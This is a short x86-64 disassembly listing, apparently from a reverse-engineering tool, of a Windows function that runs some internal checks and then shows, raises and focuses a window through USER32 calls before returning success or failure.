mov rdx, rdi
mov rcx, rbx
call fcn.14007bd40
test eax, eax
je 0x1400740a3
mov rdx, rdi
mov rcx, rbx
call fcn.140072830
test eax, eax
je 0x1400740a3
cmp qword [rbx + 0x48], 0
je 0x140074076
mov rcx, qword [rbx + 0x350]
mov edx, 8
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [rbx + 0x350]
call qword [sym.imp.USER32.dll_BringWindowToTop]
mov rcx, qword [rbx + 0x350]
call qword [sym.imp.USER32.dll_SetForegroundWindow]
mov rcx, qword [rbx + 0x350]
call qword [sym.imp.USER32.dll_SetFocus]
mov rcx, rbx
call fcn.1400750c0
mov rcx, rbx
call fcn.140075020
cmp dword [rsi + 0x2c], 0
je 0x14007409c
mov rcx, rbx
call fcn.140070cc0
mov eax, 1
jmp 0x1400740a5
cmp dword [rsi + 0x14], 0
je 0x14007409c
mov rcx, qword [rbx + 0x350]
mov edx, 8
call qword [sym.imp.USER32.dll_ShowWindow]
cmp dword [rsi + 0x1c], 0
je 0x14007409c
mov rcx, rbx
call fcn.1400744b0
mov eax, 1
jmp 0x1400740a5
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret